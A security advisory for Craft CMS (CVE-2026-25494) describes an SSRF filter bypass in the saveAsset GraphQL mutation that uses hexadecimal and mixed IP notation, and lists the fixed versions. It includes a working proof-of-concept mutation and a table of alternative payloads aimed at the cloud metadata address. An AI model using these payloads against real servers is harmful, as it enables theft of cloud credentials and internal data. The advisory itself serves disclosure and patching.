craftcms/cms
Affected
- introduced
5.0.0-RC1, fixed5.8.22(ecosystem)
Fixed versions
5.8.22
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-25494
Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation
I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.
---
Summary
The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.
---
Proof of Concept
mutation {
save_images_Asset(_file: {
url: "http://169.254.0xa9fe/latest/meta-data/"
filename: "metadata.txt"
}) {
id
}
}
169.254.0xa9fe to 169.254.169.254Alternative Payloads
| Payload | Notation | Resolves To |
|---------|----------|-------------|
| http://169.254.0xa9fe/ | Mixed (decimal + hex) | 169.254.169.254 |
| http://0xa9.0xfe.0xa9.0xfe/ | Full hex dotted | 169.254.169.254 |
| http://0xa9fea9fe/ | Single hex integer | 169.254.169.254 |
---
Technical Details
File: src/gql/resolvers/mutations/Asset.php
Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.
// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)Medium Basis: The source's own band: MODERATE
5.0.0-RC1, fixed 5.8.22 (ecosystem)5.8.22
The export has no generic command for this ecosystem.
4.0.0-RC1, fixed 4.16.18 (ecosystem)4.16.18
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0